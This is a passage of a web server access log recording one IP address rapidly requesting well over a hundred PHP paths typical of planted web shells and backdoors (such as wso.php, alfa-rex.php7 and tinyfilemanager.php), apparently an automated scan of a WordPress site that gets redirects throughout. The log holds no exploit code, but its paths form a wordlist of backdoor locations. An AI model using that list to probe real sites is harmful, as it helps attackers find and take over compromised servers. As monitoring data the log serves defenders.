[29/Apr/2025:14:47:04 -0400] "GET /oo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:47:05 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:47:05 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:47:06 -0400] "GET /wp-admin/maint/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:47:07 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:47:08 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:09 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:47:09 -0400] "GET /wp-admin/images/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:10 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.18 - - [29/Apr/2025:14:47:10 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:47:11 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:47:11 -0400] "GET /ui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:47:12 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:47:12 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:12 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:47:13 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:47:13 -0400] "GET /kl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:13 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:47:13 -0400] "GET /wsoyanzfv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:14 -0400] "GET /wp-admin/Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:14 -0400] "GET /index/gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:47:14 -0400] "GET /lk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:47:14 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:14 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:15 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:15 -0400] "GET /update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:47:16 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:47:16 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:47:16 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:47:17 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:17 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:47:18 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:18 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:47:19 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:19 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:19 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:47:20 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.18 - - [29/Apr/2025:14:47:21 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:47:22 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:47:23 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.18 - - [29/Apr/2025:14:47:23 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:23 -0400] "GET /wpupp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:24 -0400] "GET /upmdxpcz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:25 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:25 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:26 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:26 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:47:26 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:26 -0400] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:27 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.18 - - [29/Apr/2025:14:47:27 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:47:27 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:27 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:28 -0400] "GET /xpfkcrpp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:47:28 -0400] "GET /wp-content/uploads/2023/a22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:47:28 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:47:28 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:47:29 -0400] "GET /wordpress/update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:29 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:47:29 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:29 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:30 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:47:30 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:30 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:30 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:47:31 -0400] "GET /wp-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:47:31 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.18 - - [29/Apr/2025:14:47:31 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:32 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:32 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:33 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:33 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:47:34 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:47:34 -0400] "GET /wp-content/plugins/azra-tn/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:47:34 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:35 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:35 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:47:36 -0400] "GET /wp-signup.php?Fox=sQFLZ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:36 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:36 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:37 -0400] "GET /wp-content/plugins/work-list/lang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:47:37 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:37 -0400] "GET /uzkeerfe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:47:37 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:47:38 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:47:38 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:38 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:38 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:39 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:47:39 -0400] "GET /ymhrwpmq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:39 -0400] "GET /contents.php/lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:39 -0400] "GET /yjsmnati.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:47:40 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:47:40 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:47:40 -0400] "GET /index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:41 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:41 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:41 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:47:41 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:42 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:42 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:42 -0400] "GET /wp-content/plugins/erin/pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:42 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:43 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:43 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:43 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:43 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:43 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:47:44 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:47:44 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:47:44 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:45 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.18 - - [29/Apr/2025:14:47:45 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:47:45 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:47:45 -0400] "GET /wp-admin/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:47:46 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 